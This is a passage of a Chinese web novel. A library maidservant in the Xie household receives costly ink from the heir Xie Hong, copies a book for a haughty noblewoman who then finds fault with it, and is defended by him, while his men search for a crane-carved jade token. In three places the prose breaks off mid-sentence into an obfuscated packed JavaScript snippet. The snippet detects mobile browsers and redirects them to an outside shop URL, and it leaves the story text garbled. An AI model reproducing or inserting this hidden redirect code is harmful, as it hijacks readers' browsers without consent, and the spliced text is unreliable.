大公子……果然如传言中所说，清正端方，斯文温润。 况且他还记得她。 只是她自己进府本就是意外，此刻也并不像其他家生子一样，一路勤勤恳恳，奔着成为主子心腹的目的去。 若想成为主子心腹，去老夫人那里自然是极好的，但她无意于此，则是更想出府。 她心思已经不在府中，但此刻长兄那边怕是还在寻她，她便在府里先留着，攒钱出府之后寻个活计。 谢泓望着面前的少女失笑。 她一双眼睛甜润如荔，就像是园子里雕饰精细的花窗一般，所有情绪在他眼前都一览无遗。 此刻她眼瞳转了下，显然对他的提议有些不忿的模样。 果然，面前的丫鬟向他福了一福。 叶采苓道：“多谢大公子抬爱。只是婢子喜爱书库，暂时没有想去其他地方的意图。” 谢泓也不再多言，拿起书卷道。 “经书我便收了，改日去寻石青领份赏。” 叶采苓低眉道：“是。” 送走这位大公子，她回书库的路上都感觉自己心跳有些失衡。她本没见过多少男子，短短几日却接连和大公子这种容色的人打上交道。 就算她已经将之前的少女心思彻底按灭，仍觉得这人确实是她能接触到的，最令人憧憬的人物。 “你说，我是不是想得有些多了？” 夜晚又是与月茜的卧谈。 当晚月茜听到她这话，笑着抬手推她：“没想多。” “你没出过云州大抵不知道，不单单是云州贵女都想嫁大公子，京城有好几户高门也属意谢探花呢。” “我听熟悉的嬷嬷说，此番还有京城贵女追大公子追到云州。” 叶采苓：“京城贵女居然可以抛头露面么？” 月茜道：“那可是京城，与我们这边风气确实不同，说是京城的贵妇贵女们能打马球，亦能上街游玩呢！” 言语中充满艳羡。 她忽地又回到正题，正色对叶采苓道：“左右都是高门望族的事，与我们这些婢女是无干的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464246|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶采苓望着灯火中映出的月茜的眼眸。 少女眼睛晶晶亮，但言语中无奈，昭示着她同样早早认清现实。 叶采苓道：“我懂。” 她心下暗道不要再想大公子，这样的人也不是她能触及的。 只是次日，大公子身边的石青便前来寻她，带来的物件又让她瞠目结舌。 “大公子赏给姑娘的，说是墨锭。什么……什么墨来着？” 她凝神细看，只觉得心惊。 那一寸宽的墨色细条，一望便能看出细而柔滑，品质定然上佳。 墨锭表面雕着着洒金玲珑云水纹，两侧刻印玉兰枝并花鸟，中间镂着墨局的名字。 溪明阁。 这是大周顶顶有名的墨局，云州分店甚至一墨难求。她曾经在的印坊因得无法搭上溪明阁分店的线，只得退而求其次选用其他墨局。后来叶采苓之类的帮工也会制墨了，印坊便自己制墨。 总之，这块墨对她而言，价值不菲。 石青年纪小，但跟着谢泓惯了，此刻见叶采苓神色，大抵猜到她在想何事。 大公子在他来之前便提点过他。 “若是对方不收，你也能想办法让她收下。这是你的本事。”谢泓如是说。 石青便对着叶采苓道：“哎，我忘了此物叫何名字了，不过染墨姐姐你放心收下便是。” “我们公子给东西一向很大方的，公子让我拿块墨给你，我便是从他书库里挑了块长得好看的墨。” “想必不会很贵重。” 叶采苓望着这墨锭，心里犹疑起来。 墨锭触手温凉，带柔和的反光。 “溪明阁的花鸟墨。”她道：“大公子好眼光。” 叶采苓道：“石青小哥，那我便领了大公子的赏赐，你记得替我谢过。”她犹豫着接过，心底仍是有些不知所措。 石青笑眯眯道：“姑娘竟认得这墨，那便是最好了。我这便给公子回话去。” 他年纪相较另一位云白算是小的，此刻言罢蹦跳着远去。 留下叶采苓对着那花鸟墨出神。 * 府内生活过得是极快的。 叶采苓不多久便又和月茜在文思书阁内轮值，协助取典籍。 只是这次，不知是不是府内的族学又到了考校的时日，来书阁借阅典籍的谢氏族人格外的多。 两人忙活许久，才终于有些喘息的机会，能靠墙歇息片刻。 “月茜，这次钥匙点好了么？” 叶采苓问道。 月茜：“染墨你放心，我点数着的。” 上次出现钥匙掉落的事情后，两个丫鬟都分外留神起来。 叶采苓道：“我估摸着阁内应该无人来借阅了。我们走罢。” 月茜点点头，两人并排向外走去。 忽地，一只纤手拉住叶采苓胳膊。示意她停步。叶采苓望向月茜，对方指指耳朵，让叶采苓细听。 她有些愣，循着月茜的示意。 这一听，听出了不对劲。 书阁内管理一向严格，只允许两名婢女相携入内取书。其余人等按理不得入内。 而此刻，阁内传来了陌生女眷的声音，带着些亲昵的甜。 “宣岑兄，久闻云州谢氏的藏书阁，今此一见，果然家学渊源呢。” 8. 第 8 章 远处遥遥传来青年低缓沉澈的声音。 是谢泓。 “你要寻何书？” 月茜与叶采苓对视一眼，彼此眼中都寻得一丝规则被打破的震惊之感。 她们久居府内，呆久了便觉得府内的规则便是天大的。当初明嬷嬷三番五次告诫她们，言道不能让人进书库，连带着钥匙位置和那一套取书流程都让她们背诵了许久。 结果此刻不仅是大公子进了书库，还带了一位女子一起。 “怎么办？” 月茜拿口型问叶采苓。 “我拿不准。”叶采苓用口型回她，心里亦一团乱麻。此刻若是她们出面来试着推阻，可对方毕竟是主子，冲撞了他们，怕是不会轻饶。 但书架摆放均有定数，若是任由他们随意取书的话，到时挨嬷嬷骂的又会是她们。 “要说么？但眼下我们出去，若真惹到大公子怎么办？” 月茜小声道。 叶采苓：“素日里主子们是不会来书库的，但规矩里并没有说不能来。或许大公子是有他的目的……” 两人正在迟疑，又听得谢泓道。 “祖母让你取书，但书阁内存典籍数以千计。” “你若想取用，不如先问书阁婢女，她们日日与书打交道，自是会立刻告知你的。” 叶采苓心里稍松一口气。 心里对这位谢泓亲自带来的贵女有些好奇，她们隔着书架悄然望向前方的两人。 那女子一身华贵的淡桃色浮光锦暗纹裙，鬓边斜斜簪一支白玉簪，雕成玉兰花模样，耳边一对小巧珍珠耳珰，随她讲话时的动作幅度微微摇着。 虽不知道来历，但穿着打扮一望便知是高门出身。 此刻阁外光线打在那贵女脸上，她蛾眉轻扬，眼睛正望着谢泓。 语气里有些微熟稔的娇嗔：“我自是知道，但太子妃说，谢氏藏书阁这里有一些典籍是当年名臣批注过的，自己去寻方有意思。” “像是《谈薮》，《南皇杂录》，都有当时首辅的批注。还有一本《太平寰宇记》，她和我说写得极精妙，我也想寻来看看。” 太子妃容氏据说是云州出身，此刻这位贵女谈笑间，是与容氏很熟悉的模样。 谢泓沉吟。 贵女语气上扬，又加一码：“况且老夫人那边也是允了的呀。” 谢泓望着面前的温道盈，只觉得头疼。 温道盈此人是国子监祭酒温华章之女，在京中素有才女之名。自他入翰林以来，便三番五次总能在各类聚会上见到她。 只是他本以为此番回云州省亲可以暂时避过。 结果那日晨起给祖母请安，却见温道盈也立在祖母会客的堂屋那里言笑晏晏，言道替她母亲来云州见老夫人。 她今日来寻他，又道是奉祖母的命，来此寻书。 他拗不过祖母的安排，只得带她来书库。 谢泓回乡便是不欲再牵扯入这些繁杂的人际关系，只想躲个片刻清静。 他已经知道温道盈此番前来的目的，便不欲再陪，道：“书库内各类书籍都有登记，包括足本孤本。与其你在这里一味翻找，不如直接去问管事或者此处当值的婢女更快些。” “我这里还有些事。” 温道盈眼睛往书库之内望去。 眼前临墙书架望不到头。云州谢氏藏书楼，确实名不虚传，阁内书籍浩如烟海。 见谢泓确无陪同之意，她转头，微不可觉地蹙了一下眉，却对谢泓笑道：“那便请宣岑兄帮忙了。” “我这里有一份清单，若是清单里有的，便请取出给我吧。” 谢泓低头见那清单列示的书籍。 “这本《南皇杂录》不一定有的……” 两人且议且行，叶采苓与月茜便在此刻借机从长廊处走出，假装刚巧见到这两位。 “单上的书，可好寻么？” 谢泓对两位婢女道，转头示意温道盈把清单递出。温道盈已经将手中清单递出给谢泓，此刻却一迟疑，手便悬在空中。她本以为谢泓会接过清单。 那一丝微妙的尴尬尚未落地。 她转手把清单放到婢女的手上。 “谈薮、南皇杂录、折山游，这几本……” 叶采苓专注地看清单，不经意间读出声。 温道盈看着面前的婢女一副专心思索的样子，心里觉得有趣。 云州此地不似京城，京城的婢女惯是主子说一不二的。可眼前这个婢女却做出一副犹疑神色，好似有什么难处似得。 “有什么事么？你讲便是。”她温声道。 叶采苓道：“这里面有几卷是孤本，只能在库内借阅，不能外借。且这单子上将近二十余本……恐怕一次也无法借阅完全。” 温道盈点点头，眼睛却并没往叶采苓身上看。 她对谢泓道：“宣岑，你年少入朝堂，知晓户部誊抄黄册的规矩么？” 谢泓眉头微蹙，却没接她的话。 温道盈：“黄册事关大周朝根基。户部对管理黄册相较藏书阁只会更严。若有人想查看黄册，只能由户部司册的官员入库誊抄，连外借都不允。” “此时若是无法借阅，宣岑，你遣人誊抄了这些便是。” 叶采苓感觉身上有一丝不舒服。对方明明做出一副温柔的模样，但那丝高高在上的气息根本无法掩盖住。 全程没有看她和月茜，好似她们不存在一般。 只与谢泓沟通。 温道盈显得很是贴心，道：“这样也不必反复来书阁借阅了，只消得一次抄好，我让丫鬟来取便是。” 谢泓却摇头道：“谢氏文思书阁历经三朝而不毁——你可知，府内有府内的规矩。” 话虽缓和，语气里的拒绝之意却是让温道盈心有不愉。 谢泓历经朝堂，此刻见情势有些微妙，语气又放软和了些：“我那里亦有些誊抄之后的典籍，可以随意翻阅。你若想看，遣人找我院里的管事，取回去看便可。” 温道盈面上仍是光风霁月神色，露出温柔微笑。 “好啊，但这本《折山游》，太子妃指明要让我带回去的。” 染着寇丹的手指在清单上一划，她笑道：“宣岑兄，这本我可是要靠你府上的人了。” 言罢她终于看了两名婢女一眼，随意地指了叶采苓：“你抄写一份罢，墨与纸都要最好的。三日内写完即可。” 温道盈：“宣岑兄，可否？” 叶采苓深吸一口气。 此次是再无法推拒了，对方抬出京城来，又当着谢大少爷的面发号施令。这个时候她无论是否愿意，都只剩下一条路可以走。 她微微低下颈项，道：“婢子知晓，三日内定当尽力完成。 * 文思书阁最外层是当值的婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464247|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女所在的地方。若无人取书，她们便在此守候。 书阁由几座彼此联结的重楼构成，楼与楼之间有曲折连廊，各层之间亦有步梯。若是走水，也能确保仅失其一，防止整座书阁都燃烧起来。 此刻最外层的厢房内，叶采苓正翻着那本《折山游》。 她悬腕抬笔，望一眼那书，心里默念两句，凝神运腕，抄到面前的纸上。 折山游不愧是前朝清河郡主之作，用词昳丽清婉。 令她禁不住也幻想起来那些山水风景。 “在抄书？” 听到有声音，叶采苓立即搁笔起身，对来人福了一福。 又是谢泓。 对方着一身缂丝的深青色云纹团领袍，袍袖层叠，端方清雅。 此刻谢泓随意道：“除了明安县志，徽州十县内，另几个临溪的县志，你知道在何处么？” 叶采苓一愣，这是要考校她么？ “这……婢子对书名有印象，但当地水文情况，却不知晓了。恕染墨无能。” 叶采苓露出为难神色。 月茜立在一旁，也不敢多话。月茜对书库的熟悉水平还不如叶采苓，此刻估计更是帮不来什么。 谢泓恍然意识到，他这问题有些难度。但不知道为何，对着这个人，他总是下意识地给出一些更高的标准。 就好像他期待，并默认对方能达成一样。 他摇摇头：“此事本是我想得不妥。” 温声告诉她书名。 叶采苓便和月茜前去寻书。 “不知道为什么，明明大公子这么和气的一个人，我总感觉面对他的时候有种紧张的感觉。不像对三公子。” 月茜道。 叶采苓取下一卷县志放到手中托盘，闻言思考了片刻。 “三公子对我们比较随性罢。” 她认真地说。 谢三公子对人固然好，但叶采苓觉得那份好里面说不清含了几分风流的轻佻在。反而是大公子，见的这几面固然让她觉得有些紧张没错，但她仍觉得大公子是好的。他对婢女亦温和有礼，言语之间让人觉得会被看重。 其实温道盈那些贵人们的态度，才是婢女们日常所面对的。故而叶采苓更觉得谢泓好。 但这话她说不出口，便笑笑，与月茜一道寻书。 两人出书库。 叶采苓看着面前的人影一愣。 谢泓手里正翻着的书，似是之前她抄写的那本。见她们出来，谢泓停下翻书的手，道：“这是你写的么？” 他眼神笃定地望着叶采苓。叶采苓一怔，下意识点头。 谢泓看了看，未道什么。忽地问：“之前给你的墨没有用么？” “婢子未用。”叶采苓沉默了片刻：“花鸟墨太贵重，实是不合我身份。” 谢泓道：“花鸟墨便是刚好合你这个年纪的女孩子使的。罢了，你此番是给持月抄书，她要求惯是高。” 谢泓心想府内给婢女们分发的墨也是好的，但不见得能入了温道盈的眼，大抵还是要换用花鸟墨。 石青已取了典籍，在领书的册子上签过名字。谢泓便未再说什么，缓步离开书阁。 叶采苓躬身送走他，只是不一会儿石青又小跑着来。却将一大包东西搁放在几案上。 “这是——” 石青咧嘴一笑：“大公子赏的，姑娘收着便是。” 9. 第 9 章 叶采苓低眸一看，又是极好的花鸟墨，并一刀齐整的生宣纸，一齐摞在包裹里。 “大公子有无说什么？”叶采苓思索片刻，问石青。 实在是石青少年心性，常有遗漏的时候，若是没能恰好传达大公子意图，事后怕难以收场。 石青挠挠头：“好像说了一句让姑娘随意用？” 他又道：“大抵是说抄书之类的事情罢。” 叶采苓心下即了然。 两人送走石青，厢房内四下无人。月茜望着那包贵重的书房物件，终于忍不住伸手摸了一下那镌了溪明阁三字的精致墨锭。 “这么漂亮的东西，我此次才见过哎！”她道：“大公子对你很是偏爱呢，染墨。” 她眼底的羡慕不似作伪。 叶采苓心里微微泛着些苦涩，面上亦笑道：“哪里是偏爱？你记不记得那日在书库出现的贵女？” 月茜犹豫道：“记得……只是她是何人？那人并不是府里的主子罢。” 叶采苓道：“她要誊抄典籍带回去。大公子许是觉得我们用的纸墨小气了。” “若真有偏爱，那也不是对我偏爱，只是对那位贵女。” “啊，原是这样么。”月茜一时无言。 澄明天光里丝丝缕缕染上淡青，当日午后却是再无人寻书。 叶采苓用这些时间加紧抄着那典籍，心道还好之前没有抄完，不然此刻还需得返工。直到抄至腕酸，她望着那一本折山游，舒一口气。 又是叶采苓当值之日，她正在犹豫如何寻温道盈。 却听得帘动之声。 一名婢女打起帘子，那日见过的贵女温道盈便走入厢房。 她此番戴了点翠嵌珊瑚珠步摇，色彩配得夺人。步摇末端坠一颗丹砂色珊瑚，此刻盈盈泛着细腻光色，显得她肤光胜雪，气色极佳。 温道盈自恃身份贵重自然是不开口的，她的婢女早已熟知主子的习惯，此刻便问道。 “我家小姐的典籍可否抄好了？” “抄好了，在婢子这里。” 叶采苓低头福了一福，递上一本由细纹云罗包着的书。 温道盈从婢女手里接过，纤纤手指闲闲地翻了一翻。 翻到一页，她眉头微蹙，又细细查看过。 “这延茂二字，是否是抄错？” 叶采苓抄写时便一字一句仔细看过，便恳切道：“不会抄错，婢子誊抄之时已仔细核对过。” 不知道那句话让温道盈不虞，她轻笑一声：“誊抄此事严肃，自不能信口便来。” “婢子不知。请贵人明示。” 温道盈点点头：“你便取了那《折山游》原本来，再细细对照一遍。” 见那婢女低头应声退下，温道盈尚觉得心里松快些。 上次她便觉得此女心思过重。下人须得沉静安稳，她手下的婢女都是主子发令后便立即去做事，此人却敢与她道什么无法借阅。 此刻见对方听从了她的指令，她也不再放到心上。 叶采苓与月茜取书出来，听到有两人交谈之声。 便见温道盈和谢泓站在一处。谢泓正在低声给她讲着什么。 见叶采苓手里的托盘放了书，谢泓便停下讲述，望向叶采苓。 叶采苓上前道了声怪罪，把典籍递予温道盈的丫鬟，丫鬟再将那《折山游》递给她。 温道盈自恃才女之名，此刻有意在谢泓面前展现。此刻未翻开那书，便道：“第三章棋云山那节，有言棋云山峰峦叠嶂，延袤三百余里。你抄成延茂，莫不是因平日常用，故抄错？” 叶采苓凝思片刻，缓缓摇头。 “婢子想着此句之意是议论棋云山山势绵亘，故不算有错。若是未有定论，不若直接翻看郡主原文。” 温道盈不言语，低头翻书，翻完脸色不变。 叶采苓心知必是她弄错了，因自己抄写时字字句句对照过，只是温道盈她下意识地不信自己罢了。 温道盈转向谢泓笑吟吟道:“你府上的婢子还真是博学。” 也不再提是否抄错之事。 她手指轻抚过封面，眼波流转间忽地又想起什么：“只是太子妃素来爱精巧细致，这书所用笔墨，我担心尚不合太子妃心意。” 见面前婢女怔住。她道：“我这里无妨，只是若我带回此书，太子妃那边不虞，怪罪下来便不好了。” “贵人的意思是……” 叶采苓似是听出她话里的言外之意。 温道盈漫不经心地道：“这也不是我的意思，但我心想着重新抄一遍，换磁青纸，大抵更稳妥些。” “毕竟过些日子回京，回京之后便要呈给太子妃呢。” 叶采苓心道，若真是太子妃要也就罢了，只是温道盈此刻的反应，摆明了是她自己想一出是一出。 现在的纸墨都是谢公子赏的，还要怎么换。 这不是与谢泓为难么。 但这话由不得她说。她一介婢女，此刻只是低声道：“敢问贵人要何样的笔墨？婢子这便去寻。” 温道盈手指轻掠一下额发，不假思索道：“这些小事自然不需得问我——当然是要这府里最好的。呈给天家的物件，怎么敢怠慢了？” 叶采苓顿了一顿：“只是——” 她正想讲，此番誊抄用的花鸟墨与生宣已是极好的品质，且是谢大少爷他专程遣人送来的，话却被突然截住。 一道男声响起。 谢泓此番说话依然轻缓，语气却有几分不容忽视的意味。 他淡淡道：“持月，你与太子妃关系一向好。” 温道盈转眸看他，美目里盛几分赧然：“啊？宣岑言过了。” “不过是女眷之间常玩闹些罢了，突然提此事是何意？” 她尚不明就里。 谢泓下巴微扬，清瘦修长的指节在桌面轻敲一记，慢条斯理道：“若是你真怕怠慢太子妃，自己大可以亲手誊抄一份。” 他噙一丝笑：“用你能寻到的最好的笔墨便是，不怕太子妃不领情。你说是么，持月？” 谁知道谢泓在这种时候唤她小字！温道盈有几分恼，但谢泓那话又无可挑剔，让她一瞬间无法说出话来。 最终只有惊愕的眼神，望一眼叶采苓又望一眼谢泓。 她咬唇忿然道。 “那我便誊抄一份。” 叶采苓在一旁望着整个过程，忽然觉得此刻大公子笑得有几分狡黠散漫，像是她那年在山脚下救下的小小毛团儿。 但一转眼，他又是那副清贵淡然的模样。 谢泓负手而立，话却是对着叶采苓说的。 “走了。” 他道。 什么时候显得与她如此熟稔呢。 贵人们带着婢女离开了，月茜伸手点一下叶采苓。 “还说我与三公子，大公子今日护你的心思再明显不过呢。” 她笑得促狭：“快说，是不是与大公子联系上了？” 叶采苓眼睫眨动，掩去眼底一掠而过的酸涩。 “你想到哪里去了？” 她温声道：“石青给我送墨的时候你不在。但那些纸墨我都用在誊抄这本《折山游》里了。” “那温氏贵女借着太子妃的由头，挑剔大公子给的纸墨，你想，大公子能答允么？” 月茜眼睛眨巴眨巴：“今日那些东西便是大公子送的？” 她一拍胳膊：“怨不得温贵女神色这般尴尬，我见她来这书阁本就是醉翁之意不在酒。这下子一挑剔，反而把最想亲近的人给得罪了。” “所以我与他并无甚关系。” 叶采苓半垂眼帘，却未接月茜那句关于温贵女的话。 心里有几分吃了未熟的梅子那样的滞涩。 * 春日里雨线绵密，此刻湖边水榭坐着两人。 谢泓闲闲地拈一枚棋子，却始终未往棋盘上落。 他面前的青年文士凝望许久棋盘，此刻终于没有忍住，目光从棋局之上移开，道：“宣岑，京中又传信来诏你回京。” 谢泓以手支颐，似是沉浸在棋局之中，评道：“江游兄，棋力渐长啊。” 江游摇摇头，眉目间带忧色，仍是劝解：“此番你恰巧离翰林，京中风云便半点没知晓。前些日子圣上发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464248|141822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火，下旨要抄好几名大员的官邸。” “你离京越远，所知消息便越少。我思忖数次，仍觉不妥。” “不然我今日也不会前来。” 谢泓道：“查抄的便是顺天府尹罢。他虽然惯会攀附，但做臣子的，为圣上分忧才是要务。” 江游眼睛一亮，谢泓仍说：“王秋维他这是顾此失彼，并非为臣之道。纵然三品大员，倾覆亦在圣上心念之间。” 江游脸上的忧色终于隐匿了。 “好啊，看来我是多虑了。说起来，你怎知王秋维是太子一党？” 谢泓拈的那枚白子终于落下。此刻棋盘上白子皑皑，对黑子围攻气势渐显。 他道：“《棋经》讲善败者不乱。前些日子太子在宫中设赏鹤宴，已招圣人不满。此时又恰逢顺天府尹纵豪奴抢夺。他自己撞上来，太子焉有不利用之理？只是先牺牲此人以平圣人之怒罢了。” “但此番不过此消彼长，并未动摇根基。” “你且看，日后便有此人再上来的一日。” 江游凝神思考，不多久有人来报，两人便停下商议。 “公子。” 水榭外，云白垂手立在一旁，前来和谢泓报信。 “仍是未寻到那位贵人的消息。” 谢泓问：“街坊邻居处亦无所得么？” 云白摇头：“这几日我把那条街并周围几条街巷的人家都打听过。当年的老人们多数已经搬走了，其余的都道不知晓。” 云白知道大公子一向对他们这些人的要求，便是做事定要周全用心，此刻便把他获得的其他信息也一一道来。 “小的除了走访当地人家，也去了城里的当铺打问。问铺内有无精致的女儿家物件，玉佩钗环之类的均可。” “你须得留神，莫要让有心人注意了。”谢泓道。 云白低声回话：“主子且放心，未走漏风声，只说自己家小姐进京要购些好物件充场面。” “当铺有何消息？”江游问。 云白道：“铺内有的物件里，没有寻到那位贵人的徽记。只有一家提到，曾有一名女子去他家典过一块羊脂玉牌。但她并未卖，故掌柜的也没有消息。” 谢泓缓缓道：“玉牌上有无雕长足鹤？” “掌柜的言道他不曾记得。” 谢泓道：“无事，你已做的不错。云州此地你亦是尽力去寻了，我改日再遣些人手去附近州县寻。” “只是最晚时限只到浴佛节，之后我们须得返京和景王爷复命。” 云白道：“是。” * 今日云白寻到叶家小院的时候，叶大是慌张的。 他以为自己前些日子日日蹲守在谢府门口，被谢府当家的留意了。 此番来人穿着好料子的衣服，望着便是贵气无匹的，想必是谢家主子要来找他麻烦。 实则叶青山实在是眼皮子太浅。将云白这种体面长随亦能认成主子。 但叶青山当然不知晓。 故而云白有礼地问他话之时，他只是一味地唯唯诺诺。 “我家？我，啊不，小的家一直住在此处。只是从未见过什么外地前来的女子和婴童，啊对。” 他挠挠头皮。 “小的一贯本分做事，还请老爷放过小的。” 云白一头雾水，觉得对面这人似是有些眼熟，但讲话颠三倒四，手指还微微发抖。 可反复问过之后，此人也回不出什么有效信息。 “罢了，我再问你，有无见过雕着长足鹤鸟的物件？” 电光石火见叶青山明白了，这是要抢他们家那块玉佩，是在查前朝余孽！他那沉溺赌博的脑子此刻就算再无法转动，也明白要抵死否认。 “没有啊，没有，小的家徒四壁，怎会有这种好东西。” 云白有些无奈地摇头：“我并没有问你家是否有，只是问你是否见过。罢了。” 那日谢泓救叶采苓之时，谢泓身边跟着的小厮是石青，云白只是被遣去支取了些银子。 故而他对叶大也无甚印象。 便略过叶家小院，前去其他家查问了。 10. 第 10 章 叶青山鬼鬼祟祟在院门口立了许久，见云白确实离开了，方才回到家中。 他看了看那青缎包袱里的玉佩，见还在，又小心翼翼地包回去藏在床下。 叶青山清了清嗓子，感觉喉中依旧十分不爽快。叶采苓这丫头走了什么运道，攀上谢府高枝不说，还故意使人为难他。 叶青山脸色愈黑，又想起今日赌庄免费派送的几个大钱还没领，便把此事抛诸脑后。晃荡着出门，向着赌庄方向去了。 只是走之前又免不了一番赌咒发誓，道倘若他能再见叶采苓，定要让她把银两吐出来云云。 * 四月初八是浴佛节，亦是传说中释迦摩尼生辰。 因老夫人看重，谢府从三月底便已开始筹划。除了浴佛那日需用精心供奉的五色香叶水为佛身沐浴之外，亦有办莳花会、舍结缘豆、请戏班并杂耍班子之类的安排。 都是为了让老夫人热热闹闹地过好这个日子。 月茜性子跳脱，便时常看了新鲜玩意儿之后与叶采苓分享。 “今日东南角停了好几辆大车，说是浴佛节须用鲜花清供。我看到好大一朵砂红的花苞呢，说不定就是洛阳那名品牡丹！” “你没有看么？快刀陈今日说也进府了，正在和徒弟寻一块空地要练飞刀，有几个丫鬟已经悄悄看过了，说惊险的紧！” “用来煮香叶水的素馨、茉莉、木香都送来了，堆在南厅那里，路过的时候花香很好闻呢。”月茜三番五次过来与她聊各式趣事，可她瞅瞅叶采苓，后者却是不为所动，仍是低头削着手里的一截木枝。 “我说，你素日里也不出去玩耍，不觉得闷么？” 叶采苓知月茜是好心，便也不敷衍回话，而是指指那木头，道：“你可知这是什么木？” 月茜眼观鼻鼻观心，看了一晌，仍觉得这是一截普通松枝。 “大抵是书阁旁那片松林，掉的枯树枝？” 叶采苓道：“是了，但谢府种的松林和外面野生的品种不同，我正在尝试收集这种松枝燃后的烟烬。” 月茜：“有什么用，可以入药么？” 叶采苓摇头：“不行，但我想试试看能否制墨。徽州松烟墨，据说就是用当地生长的百年松燃出的烟作为原料。” “没听过这墨，是不是和那日花鸟墨一样的？”月茜问。 “是啊，是现下最好的墨。所以若是做成了，能赚不少银子。”叶采苓细细地把松枝上的那截树疤祛除，此刻点点头道。 ——之后就可以离府，自己出去开印坊。 “那你到底与不与我出去看喷火的杂耍班子？”月茜并没有领会到她的意图，在得到叶采苓否定的回答后，月茜又一溜烟地跑出去寻人一起看杂耍了。 叶采苓低头继续削松枝上的干枯树皮。 “是染墨么？” 厢房门口立一个人，讲话清脆爽快。正是老夫人身边最体面的大丫鬟宝纱。 “宝纱姐姐，怎么来这里了。” 叶采苓放下手里的松料起身相迎。她与宝纱并无甚交情，但宝纱平日须得和府内各色人等打交道，便也混了个脸熟。 宝纱道：“今儿个遇到石青，他说你爱墨。想必你是懂墨性的，快随我去救个急。” 叶采苓不明就里。 她跟着宝纱走，一路也顺便望着府内装饰，确实变化极大。树木都修剪整齐了不说，离最终要举办浴佛会的北正院愈近，路上的花香气息愈浓。 除了府内种植的那些花，还有些盆栽也沿路摆着。 都是浴佛节要用到的香叶水的原材料。 但她们此去尚未走到北正院，便在老夫人日常会客的花园内停下了。 叶采苓望着院中一盆一盆，高低错落摆放的牡丹，露出震惊的神色。 民间有云，谷雨三朝看牡丹。此时临近四月初八，牡丹应是略微过季，但此处的牡丹就仿佛是不理会季节一般，开得极绚烂。 宝纱见惯了这牡丹盛景，没有多做停留，径直领着她到花园一处长桌。那里摆着数十个砚台，并几卷淡黄色洒金生宣。叶采苓见这架势，便猜是要写书法。 “宝纱姐姐，须得我磨墨么？”她问。 宝纱赞许地看着眼前灵醒的小丫头。 染墨她是后入府的，故自己和她也不太熟稔。要不是石青推荐，并今天司墨的婢子突然身上冒出红疹有碍观瞻，染墨这丫鬟也司不上这职责。 须知这个职位也是得脸的，老夫人见过诸位女眷的文采之后必是要赏，连带着在场的丫鬟小厮们也能沾光。 她道：“你先磨些墨，我看看墨色轻重，此差使是要直接给老夫人并云州贵女们磨墨的，万不敢出差池。” 叶采苓点点头，已经熟练地取了清水滴入砚台。她手很稳，一边磨墨一边留神观察着墨锭的状态。 不出一会已经有一汪均匀的墨色在砚台之中了。 宝纱对她的成果很满意，伸手一拍她肩膀，笑道：“愿不得名字里带墨，真是擅长文墨呢。今日莳花会后须得手书，磨墨之人就你了。” “好好做事，日后我荐你到老夫人院里。” 叶采苓摸不透宝纱这是真心的还是只是随口一提，正在犹豫要不要拒绝推荐，她已经快步离开了。 叶采苓便立在那长条几案一旁，专心等着莳花会开始。 听得远处渐渐传来女眷们的笑语之声，还有珠钗环佩碰撞的碎玉琳琅之音。 谢老夫人拄拐杖，望着年事已高，但精神矍铄，此刻仍走在一众女眷的最前面。拐杖雕刻的极精美大气，杖首雕孔雀翎并溪涧青松，取一个长寿的吉兆。 女眷们一望便知精心妆扮过，衣料并款式都不尽相同，此刻都随着老夫人前行。 等莳花会的宾客们都到场后，谢母笑着看向人群中一人。那位命妇着孔雀蓝羽缎满绣折裙，簪着攒珠多宝赤金钗，服制仅在谢母之下。 叶采苓猜这便是府内掌家的大房夫人了。 此刻大房夫人便走出人群笑道：“母亲，那便开始了？” 老夫人点头，夫人道：“上花吧。” 遥遥的丝竹弦乐之音响起。 叶采苓这才发现，她之前赞叹的花园内的牡丹只不过是陪衬。 此刻有貌美的伶人们着天水碧的纱裙，手捧牡丹流水一样地献上来，供众人观赏，旁边自是有人报上花名。 先是四大牡丹名花，姚黄、魏紫、赵粉、豆绿。 皆是碗口大小，都是开得正胜的时候，枝荣花茂。 之后又有洛阳锦、岛锦、二乔牡丹，但众人并无人露出意料之外神色，都像是见惯了这些似的。 流水一样的上花停了片刻。 大房夫人道：“这些都是年年的惯例了，自不必提。只是此番还有些新配的花样子，倒是给大家玩赏玩赏。” 言罢端上一盆牡丹。 这盆花色是罕见的樱红，花瓣较先前之花更繁密些，竟然是丝丝缕缕的模样，花蕊颜色嫩黄，看着格外清新爽利。异于其他花朵。 “这盆名叫云丝贯顶，府里花匠新培植的，仅此一株呢。” 众人对着今年这盆新鲜玩意倒是赞美了片刻，之后便又各 